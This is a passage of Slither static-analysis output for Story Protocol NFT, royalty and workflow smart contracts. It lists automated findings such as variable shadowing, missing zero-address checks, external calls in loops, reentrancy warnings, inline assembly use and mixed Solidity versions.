        - IRoyaltyModule.royaltyFeePercent() (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#108) (function)
RoyaltyModule.onLinkToParents(address,address[],address[],uint32[],bytes,uint32).globalRoyaltyStack (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#324-330) shadows:
        - RoyaltyModule.globalRoyaltyStack(address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#449-451) (function)
        - IRoyaltyModule.globalRoyaltyStack(address) (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#225) (function)
RoyaltyModule._calculateGlobalRoyaltyStack(address,address[],address[],uint32[],bytes).globalRoyaltyStack (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#500) shadows:
        - RoyaltyModule.globalRoyaltyStack(address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#449-451) (function)
        - IRoyaltyModule.globalRoyaltyStack(address) (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#225) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing
INFO:Detectors:
OwnablERC20.constructor(address)._upgradableBeacon (contracts/modules/tokenizer/OwnablERC20.sol#30) lacks a zero-check on :
        - UPGRADABLE_BEACON = _upgradableBeacon (contracts/modules/tokenizer/OwnablERC20.sol#31)
BeaconProxy.constructor(address,bytes).beacon (node_modules/@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol#39) lacks a zero-check on :
        - _beacon = beacon (node_modules/@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol#41)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
ERC721Utils.checkOnERC721Received(address,address,address,uint256,bytes) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#25-49) has external calls inside a loop: retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
BaseStoryNFT._mintAndRegisterIp(address,string,string,bytes32,bytes32) (contracts/story-nft/BaseStoryNFT.sol#97-110) has external calls inside a loop: ipId = IP_ASSET_REGISTRY.register(block.chainid,address(this),tokenId) (contracts/story-nft/BaseStoryNFT.sol#100)
BaseStoryNFT._mintAndRegisterIp(address,string,string,bytes32,bytes32) (contracts/story-nft/BaseStoryNFT.sol#97-110) has external calls inside a loop: ICoreMetadataModule(CORE_METADATA_MODULE).setAllIpId,ipMetadataURI,ipMetadataHash,nftMetadataHash) (contracts/story-nft/BaseStoryNFT.sol#116)
BaseStoryNFT._makeDerivative(address,address[],address,uint256[],bytes,uint256,uint32,uint32) (contracts/story-nft/BaseStoryNFT.sol#129-149) has external calls inside a loop: LICENSING_MODULE.registerDerivative({childIpId:ipId,parentIpIds:parentIpIds,licenseTermsIds:licenseTermsIds,licenseTemplate:licenseTemplate,royaltyContext:royaltyContext,maxMintingFee:maxMintingFee,maxRts:maxRts,maxRevenueShare:maxRevenueShare}) (contracts/story-nft/BaseStoryNFT.sol#139-148)
GroupingWorkflows.collectRoyaltiesAndClaimReward(address,address[],address[]) (contracts/workflows/GroupingWorkflows.sol#263-296) has external calls inside a loop: ROYALTY_MODULE.ipRoyaltyVaults(memberIpIds[i]) == address(0) (contracts/workflows/GroupingWorkflows.sol#275)
GroupingWorkflows.collectRoyaltiesAndClaimReward(address,address[],address[]) (contracts/workflows/GroupingWorkflows.sol#263-296) has external calls inside a loop: LICENSING_MODULE.mintLicenseTokens({licensorIpId:memberIpIds[i],licenseTemplate:groupLicenseTemplate,licenseTermsId:groupLicenseTermsId,amount:1,receiver:msg.sender,royaltyContext:,maxMintingFee:0,maxRevenueShare:0}) (contracts/workflows/GroupingWorkflows.sol#277-286)
RoyaltyWorkflows.claimAllRevenue(address,address,address[],address[],address[]) (contracts/workflows/RoyaltyWorkflows.sol#57-81) has external calls inside a loop: IGraphAwareRoyaltyPolicy(royaltyPolicies[i]).transferToVault({ipId:childIpIds[i],ancestorIpId:ancestorIpId,token:currencyTokens[i]}) (contracts/workflows/RoyaltyWorkflows.sol#66-70)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#calls-inside-a-loop



INFO:Detectors:
Reentrancy in RoyaltyModule._deployIpRoyaltyVault(address,address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#475-486):
        External calls:
        - ipRoyaltyVault = address(new BeaconProxy(ipRoyaltyVaultBeacon(),)) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#478)
        - IIpRoyaltyVault(ipRoyaltyVault).initialize(Royalty Token,RT,MAX_PERCENT,ipId,receiver) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#479)
        Event emitted after the call(s):
        - IpRoyaltyVaultDeployed(ipId,ipRoyaltyVault) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#483)
Reentrancy in OrgStoryNFTFactory._deployOrgStoryNft(address,address,string,WorkflowStructs.IPMetadata,IStoryNFT.StoryNftInitParams,bool) (contracts/story-nft/OrgStoryNFTFactory.sol#258-299):
        External calls:
        - (orgTokenId,orgIpId) = ORG_NFT.mintRootOrgNft(orgNftRecipient,orgIpMetadata) (contracts/story-nft/OrgStoryNFTFactory.sol#278)
        - (orgTokenId,orgIpId) = ORG_NFT.mintOrgNft(orgNftRecipient,orgIpMetadata) (contracts/story-nft/OrgStoryNFTFactory.sol#280)
        - orgStoryNft = address(new BeaconProxy(IOrgStoryNFT(orgStoryNftTemplate).getBeacon(),abi.encodeWithSelector(IOrgStoryNFT.initialize.selector,orgTokenId,orgIpId,storyNftInitParams))) (contracts/story-nft/OrgStoryNFTFactory.sol#286-291)
        Event emitted after the call(s):
        - OrgStoryNftDeployed(orgName,orgNft,orgTokenId,orgIpId,orgStoryNft) (contracts/story-nft/OrgStoryNFTFactory.sol#298)
Reentrancy in BaseStoryNFT._mintAndRegisterIp(address,string,string,bytes32,bytes32) (contracts/story-nft/BaseStoryNFT.sol#97-110):
        External calls:
        - _safeMint(recipient,tokenId) (contracts/story-nft/BaseStoryNFT.sol#105)
                - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
                - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
        Event emitted after the call(s):
        - MetadataUpdate(tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol#79)
                - _setTokenURI(tokenId,tokenURI_) (contracts/story-nft/BaseStoryNFT.sol#106)
Reentrancy in OrgNFT._mintAndRegisterIp(address,WorkflowStructs.IPMetadata) (contracts/story-nft/OrgNFT.sol#176-201):
        External calls:
        - _safeMint(recipient,orgTokenId) (contracts/story-nft/OrgNFT.sol#182)
                - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
                - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
        Event emitted after the call(s):
        - MetadataUpdate(tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol#79)
                - _setTokenURI(orgTokenId,orgIpMetadata.nftMetadataURI) (contracts/story-nft/OrgNFT.sol#183)
Reentrancy in OrgNFT._mintAndRegisterIp(address,WorkflowStructs.IPMetadata) (contracts/story-nft/OrgNFT.sol#176-201):
        External calls:
        - _safeMint(recipient,orgTokenId) (contracts/story-nft/OrgNFT.sol#182)
                - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
                - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
        - orgIpId = IP_ASSET_REGISTRY.register(block.chainid,address(this),orgTokenId) (contracts/story-nft/OrgNFT.sol#184)
        - ICoreMetadataModule(CORE_METADATA_MODULE).setAll(orgIpId,orgIpMetadata.ipMetadataURI,orgIpMetadata.ipMetadataHash,orgIpMetadata.nftMetadataHash) (contracts/story-nft/OrgNFT.sol#192-197)
        Event emitted after the call(s):
        - OrgNFTMinted(recipient,address(this),orgTokenId,orgIpId) (contracts/story-nft/OrgNFT.sol#200)
Reentrancy in SPGNFT._mintToken(address,address,string,bytes32,bool) (contracts/SPGNFT.sol#296-329):
        External calls:
        - IERC20($._mintFeeToken).transferFrom(payer,address(this),$._mintFee) (contracts/SPGNFT.sol#317)
        Event emitted after the call(s):
        - Approval(owner,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#448)
                - _mint(to,tokenId) (contracts/SPGNFT.sol#326)
        - MetadataUpdate(tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol#79)
                - _setTokenURI(tokenId,nftMetadataURI) (contracts/SPGNFT.sol#328)
        - Transfer(from,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#295)
                - _mint(to,tokenId) (contracts/SPGNFT.sol#326)
Reentrancy in RegistrationWorkflows.createCollection(ISPGNFT.InitParams) (contracts/workflows/RegistrationWorkflows.sol#99-103):
        External calls:
        - sgpNftContract = address(new BeaconProxy(_getRegistrationWorkflowsStorage().nftContractBeacon,)) (contracts/workflows/RegistrationWorkflows.sol#100)
        - ISPGNFT(sgpNftContract).initialize(sgpNftInitParams) (contracts/workflows/RegistrationWorkflows.sol#101)
        Event emitted after the call(s):
        - CollectionCreated(sgpNftContract) (contracts/workflows/RegistrationWorkflows.sol#102)
Reentrancy in OrgStoryNFTFactory.deployOrgStoryNftByAdmin(address,address,string,WorkflowStructs.IPMetadata,IStoryNFT.StoryNftInitParams,bool) (contracts/story-nft/OrgStoryNFTFactory.sol#158-174):
        External calls:
        - (orgNft,orgTokenId,orgIpId,orgStoryNft) = _deployOrgStoryNft(orgStoryNftTemplate,orgNftRecipient,orgName,orgIpMetadata,storyNftInitParams,isRootOrg) (contracts/story-nft/OrgStoryNFTFactory.sol#166-173)
                - (orgTokenId,orgIpId) = ORG_NFT.mintRootOrgNft(orgNftRecipient,orgIpMetadata) (contracts/story-nft/OrgStoryNFTFactory.sol#278)
                - (orgTokenId,orgIpId) = ORG_NFT.mintOrgNft(orgNftRecipient,orgIpMetadata) (contracts/story-nft/OrgStoryNFTFactory.sol#280)
                - orgStoryNft = address(new BeaconProxy(IOrgStoryNFT(orgStoryNftTemplate).getBeacon(),abi.encodeWithSelector(IOrgStoryNFT.initialize.selector,orgTokenId,orgIpId,storyNftInitParams))) (contracts/story-nft/OrgStoryNFTFactory.sol#286-291)
        - restricted() (contracts/story-nft/OrgStoryNFTFactory.sol#165)
                - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - OrgStoryNftDeployed(orgName,orgNft,orgTokenId,orgIpId,orgStoryNft) (contracts/story-nft/OrgStoryNFTFactory.sol#298)
                - (orgNft,orgTokenId,orgIpId,orgStoryNft) = _deployOrgStoryNft(orgStoryNftTemplate,orgNftRecipient,orgName,orgIpMetadata,storyNftInitParams,isRootOrg) (contracts/story-nft/OrgStoryNFTFactory.sol#166-173)
Reentrancy in StoryBadgeNFT.mint(address,bytes) (contracts/story-nft/StoryBadgeNFT.sol#88-114):
        External calls:
        - (tokenId,ipId) = _mintToSelf() (contracts/story-nft/StoryBadgeNFT.sol#107)
                - LICENSING_MODULE.registerDerivative({childIpId:ipId,parentIpIds:parentIpIds,licenseTermsIds:licenseTermsIds,licenseTemplate:licenseTemplate,royaltyContext:royaltyContext,maxMintingFee:maxMintingFee,maxRts:maxRts,maxRevenueShare:maxRevenueShare}) (contracts/story-nft/BaseStoryNFT.sol#139-148)
                - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
                - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
                - ipId = IP_ASSET_REGISTRY.register(block.chainid,address(this),tokenId) (contracts/story-nft/BaseStoryNFT.sol#108)
                - ICoreMetadataModule(CORE_METADATA_MODULE).setAll(ipId,ipMetadataURI,ipMetadataHash,nftMetadataHash) (contracts/story-nft/BaseStoryNFT.sol#116)
        Event emitted after the call(s):
        - Approval(owner,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#448)
                - _transfer(address(this),recipient,tokenId) (contracts/story-nft/StoryBadgeNFT.sol#110)
        - StoryBadgeNFTMinted(recipient,tokenId,ipId) (contracts/story-nft/StoryBadgeNFT.sol#113)
        - Transfer(from,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#295)
                - _transfer(address(this),recipient,tokenId) (contracts/story-nft/StoryBadgeNFT.sol#110)
```

```
Reentrancy in GroupNFT.mintGroupNft(address,address) (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#74-79):
        External calls:
        - _safeMint(receiver,groupNftId) (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#77)
              - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
              - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
        Event emitted after the call(s):
        - GroupNFTMinted(minter,receiver,groupNftId) (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#78)
Reentrancy in OrgNFT.mintOrgNft(address,WorkflowStructs.IPMetadata) (contracts/story-nft/OrgNFT.sol#133-161):
        External calls:
        - (orgTokenId,orgId) = _mintAndRegisterIp(address(this),orgIpMetadata) (contracts/story-nft/OrgNFT.sol#141)
              - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
              - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
              - orgId = IP_ASSET_REGISTRY.register(block.chainid,address(this),orgTokenId) (contracts/story-nft/OrgNFT.sol#184)
              - ICoreMetadataModule(CORE_METADATA_MODULE).setAll(orgId,orgIpMetadata.ipMetadataURI,orgIpMetadata.ipMetadataHash,orgIpMetadata.nftMetadataHash) (contracts/story-nft/OrgNFT.sol#192-197)
        - LICENSING_MODULE.registerDerivative({childIpId:orgId,parentIpIds:parentIpIds,licenseTermsIds:licenseTermsIds,licenseTemplate:LICENSE_TEMPLATE,royaltyContext:,maxMintingFee:0,maxRts:0,maxRevenueShare:0}) (contracts/story-nft/OrgNFT.sol#149-158)
        - _safeTransfer(address(this),recipient,orgTokenId) (contracts/story-nft/OrgNFT.sol#160)
              - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
              - ERC721Utils.checkOnERC721Received(_msgSender(),from,to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#415)
        Event emitted after the call(s):
        - Approval(owner,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#448)
              - _safeTransfer(address(this),recipient,orgTokenId) (contracts/story-nft/OrgNFT.sol#160)
        - Transfer(from,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#295)
              - _safeTransfer(address(this),recipient,orgTokenId) (contracts/story-nft/OrgNFT.sol#160)
Reentrancy in OrgNFT.mintRootOrgNft(address,WorkflowStructs.IPMetadata) (contracts/story-nft/OrgNFT.sol#113-124):
        External calls:
        - (rootOrgTokenId,rootOrgId) = _mintAndRegisterIp(address(this),orgIpMetadata) (contracts/story-nft/OrgNFT.sol#120)
              - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
              - ERC721Utils.checkOnERC721Received(_msgSender(),address(0),to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#342)
              - orgId = IP_ASSET_REGISTRY.register(block.chainid,address(this),orgTokenId) (contracts/story-nft/OrgNFT.sol#184)
              - ICoreMetadataModule(CORE_METADATA_MODULE).setAll(orgId,orgIpMetadata.ipMetadataURI,orgIpMetadata.ipMetadataHash,orgIpMetadata.nftMetadataHash) (contracts/story-nft/OrgNFT.sol#192-197)
        - _safeTransfer(address(this),recipient,rootOrgTokenId) (contracts/story-nft/OrgNFT.sol#123)
              - retval = IERC721Receiver(to).onERC721Received(operator,from,tokenId,data) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#33-47)
              - ERC721Utils.checkOnERC721Received(_msgSender(),from,to,tokenId,data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#415)
        Event emitted after the call(s):
        - Approval(owner,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#448)
              - _safeTransfer(address(this),recipient,rootOrgTokenId) (contracts/story-nft/OrgNFT.sol#123)
        - Transfer(from,to,tokenId) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#295)
              - _safeTransfer(address(this),recipient,rootOrgTokenId) (contracts/story-nft/OrgNFT.sol#123)
Reentrancy in ProtocolPausableUpgradeable.pause() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#19-21):
        External calls:
        - restricted() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#19)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - Paused(_msgSender()) (node_modules/@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol#125)
              - _pause() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#20)
Reentrancy in OrgStoryNFTFactory.setDefaultOrgStoryNftTemplate(address) (contracts/story-nft/OrgStoryNFTFactory.sol#179-187):
        External calls:
        - restricted() (contracts/story-nft/OrgStoryNFTFactory.sol#179)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - DefaultOrgStoryNftTemplateUpdated(defaultOrgStoryNftTemplate) (contracts/story-nft/OrgStoryNFTFactory.sol#186)
Reentrancy in GroupNFT.setLicensingImageUrl(string) (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#64-68):
        External calls:
        - restricted() (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#64)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - BatchMetadataUpdate(0,$.totalSupply) (node_modules/@story-protocol/protocol-core/contracts/GroupNFT.sol#67)
Reentrancy in OrgStoryNFTFactory.setSigner(address) (contracts/story-nft/OrgStoryNFTFactory.sol#192-196):
        External calls:
        - restricted() (contracts/story-nft/OrgStoryNFTFactory.sol#192)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - OrgStoryNFTFactorySignerUpdated(signer) (contracts/story-nft/OrgStoryNFTFactory.sol#195)
Reentrancy in ProtocolPausableUpgradeable.unpause() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#24-26):
        External calls:
        - restricted() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#24)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - Unpaused(_msgSender()) (node_modules/@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol#138)
              - _unpause() (node_modules/@story-protocol/protocol-core/contracts/pause/ProtocolPausableUpgradeable.sol#25)
Reentrancy in OrgStoryNFTFactory.whitelistNftTemplate(address) (contracts/story-nft/OrgStoryNFTFactory.sol#201-210):
        External calls:
        - restricted() (contracts/story-nft/OrgStoryNFTFactory.sol#201)
              - IAccessManager(authority()).consumeScheduledOp(caller,data) (node_modules/@openzeppelin/contracts-upgradeable/access/manager/AccessManagedUpgradeable.sol#127)
        Event emitted after the call(s):
        - NftTemplateWhitelisted(orgStoryNftTemplate) (contracts/story-nft/OrgStoryNFTFactory.sol#209)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3



INFO:Detectors:
Time._getFullAt(Time.Delay,uint48) (node_modules/@openzeppelin/contracts/utils/types/Time.sol#74-80) uses timestamp for comparisons
        Dangerous comparisons:
        - effect <= timepoint (node_modules/@openzeppelin/contracts/utils/types/Time.sol#79)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp
INFO:Detectors:
SPGNFT._getSPGNFTStorage() (contracts/SPGNFT.sol#364-368) uses assembly
        - INLINE ASM (contracts/SPGNFT.sol#365-367)
OwnableERC20._getOwnableERC20Storage() (contracts/modules/tokenizer/OwnableERC20.sol#74-78) uses assembly
        - INLINE ASM (contracts/modules/tokenizer/OwnableERC20.sol#75-77)
Tokenizer.Module._getTokenizerModuleStorage() (contracts/modules/tokenizer/TokenizerModule.sol#151-155) uses assembly
        - INLINE ASM (contracts/modules/tokenizer/TokenizerModule.sol#152-154)
BaseOrgStoryNFT._getBaseOrgStoryNFTStorage() (contracts/story-nft/BaseOrgStoryNFT.sol#98-102) uses assembly
        - INLINE ASM (contracts/story-nft/BaseOrgStoryNFT.sol#99-101)
BaseStoryNFT._getBaseStoryNFTStorage() (contracts/story-nft/BaseStoryNFT.sol#178-183) uses assembly
        - INLINE ASM (contracts/story-nft/BaseStoryNFT.sol#180-182)
CachableNFT._getCacheableNFTStorage() (contracts/story-nft/CachableNFT.sol#117-121) uses assembly
        - INLINE ASM (contracts/story-nft/CachableNFT.sol#118-120)
OrgNFT._getOrgNFTStorage() (contracts/story-nft/OrgNFT.sol#221-225) uses assembly
        - INLINE ASM (contracts/story-nft/OrgNFT.sol#222-224)
OrgStoryNFTFactory._getOrgStoryNFTFactoryStorage() (contracts/story-nft/OrgStoryNFTFactory.sol#302-306) uses assembly
        - INLINE ASM (contracts/story-nft/OrgStoryNFTFactory.sol#303-305)
StoryBadgeNFT._getStoryBadgeNFTStorage() (contracts/story-nft/StoryBadgeNFT.sol#193-197) uses assembly
        - INLINE ASM (contracts/story-nft/StoryBadgeNFT.sol#194-196)
RegistrationWorkflows._getRegistrationWorkflowsStorage() (contracts/workflows/RegistrationWorkflows.sol#159-163) uses assembly
        - INLINE ASM (contracts/workflows/RegistrationWorkflows.sol#160-162)
Proxy._delegate(address) (node_modules/@openzeppelin/contracts/proxy/Proxy.sol#22-45) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/proxy/Proxy.sol#23-44)
SafeERC20._callOptionalReturn(IERC20,bytes) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#160-170) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#163-173)
SafeERC20._callOptionalReturnBool(IERC20,bytes) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#188-198) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#192-196)
ERC721Utils.checkOnERC721Received(address,address,address,uint256,bytes) (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#25-49) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Utils.sol#43-45)
Address._revert(bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#130-140) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#142-145)
Base64._encode(bytes,string,bool) (node_modules/@openzeppelin/contracts/utils/Base64.sol#35-122) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Base64.sol#59-119)
Panic.panic(uint256) (node_modules/@openzeppelin/contracts/utils/Panic.sol#50-56) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Panic.sol#51-55)
ShortStrings.toString(ShortString) (node_modules/@openzeppelin/contracts/utils/ShortStrings.sol#63-72) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/ShortStrings.sol#67-70)
StorageSlot.getAddressSlot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#66-70) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#67-69)
StorageSlot.getBooleanSlot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#75-79) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#76-78)
StorageSlot.getBytes32Slot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#84-88) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#85-87)
StorageSlot.getUint256Slot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#93-97) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#94-96)
StorageSlot.getInt256Slot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#102-106) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#103-105)
StorageSlot.getStringSlot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#111-115) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#112-114)
StorageSlot.getStringSlot(string) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#120-124) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#121-123)
StorageSlot.getBytesSlot(bytes32) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#129-133) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#130-132)
StorageSlot.getBytesSlot(bytes) (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#138-142) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#139-141)
Strings.toString(uint256) (node_modules/@openzeppelin/contracts/utils/Strings.sol#24-42) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Strings.sol#29-31)
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Strings.sol#34-36)
Strings.toChecksumHexString(address) (node_modules/@openzeppelin/contracts/utils/Strings.sol#90-108) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Strings.sol#95-97)
ECDSA.tryRecover(bytes32,bytes) (node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol#56-75) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol#66-70)
MessageHashUtils.toEthSignedMessageHash(bytes32) (node_modules/@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol#30-36) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol#33-35)
MessageHashUtils.toTypedDataHash(bytes32,bytes32) (node_modules/@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol#75-83) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol#76-82)
ERC165Checker.supportsERC165InterfaceUnchecked(address,bytes4) (node_modules/@openzeppelin/contracts/utils/introspection/ERC165Checker.sol#108-123) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts/utils/introspection/ERC165Checker.sol#116-120)



INFO:Detectors:
5 different versions of Solidity are used:
        - Version constraint 0.8.26 is used by:
                -0.8.26 (contracts/BaseWorkflow.sol#2)
                -0.8.26 (contracts/SPGNFT.sol#2)
                -0.8.26 (contracts/hooks/LockLicenseHook.sol#2)
                -0.8.26 (contracts/hooks/TotalLicenseTokenLimitHook.sol#2)
                -0.8.26 (contracts/interfaces/ISPGNFT.sol#2)
                -0.8.26 (contracts/interfaces/modules/tokenizer/IOwnableERC20.sol#2)
                -0.8.26 (contracts/interfaces/modules/tokenizer/ITokenizerModule.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IERC5192.sol#2)
                -0.8.26 (contracts/interfaces/story-nft/IERC7572.sol#2)
